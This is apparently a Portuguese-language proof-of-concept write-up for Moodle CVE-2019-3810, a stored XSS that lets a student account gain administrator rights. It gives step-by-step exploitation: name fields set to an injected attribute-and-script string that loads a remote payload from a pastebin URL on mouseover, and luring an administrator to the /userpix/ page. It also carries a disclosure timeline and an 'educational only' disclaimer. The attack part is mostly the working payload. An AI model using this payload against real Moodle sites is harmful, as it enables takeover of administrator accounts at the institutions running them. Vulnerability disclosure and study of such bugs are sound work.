Moodle CVE-2019-3810

Moodle (< 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16) PoC de XSS para Escalação de Privilégios (Estudante para Administrador). Este é um dos bugs passados que descobri durante um pentest anterior em uma instituição acadêmica. Foi bem-sucedido o suficiente na época para praticamente roubar acesso de administrador e obter controle completo sobre o Moodle usando apenas um bug simples.

Podemos ver pelo histórico do git que o bug existia desde versões antigas do Moodle (2003) e foi corrigido apenas em 2019.

Linha do tempo:

• Dezembro de 2018 - Reportei o bug para o Moodle
• Janeiro de 2019 - Patch lançado
• Abril de 2021 - Divulgação do PoC

AVISO

APENAS PARA FINS EDUCACIONAIS. NÃO USE O EXPLOIT PARA ATIVIDADES ILEGAIS. O AUTOR NÃO É RESPONSÁVEL POR QUALQUER USO INDEVIDO OU DANO.

PoC

1. Faça upload do payload.js para o pastebin ou outro serviço similar. Altere o valor de userid para o seu próprio id. Digamos que a URL seja https://pastebin.com/raw/xxxxxxxx.
2. Faça login na sua conta de estudante.
3. Defina o primeiro nome com " style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement
4. Defina o sobrenome com ('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')
5. Peça ao administrador para abrir a página /userpix/ ou coloque o link para essa página em sua postagem e aguarde.

Se bem-sucedido, sua conta será adicionada como administrador.

Vídeo de demonstração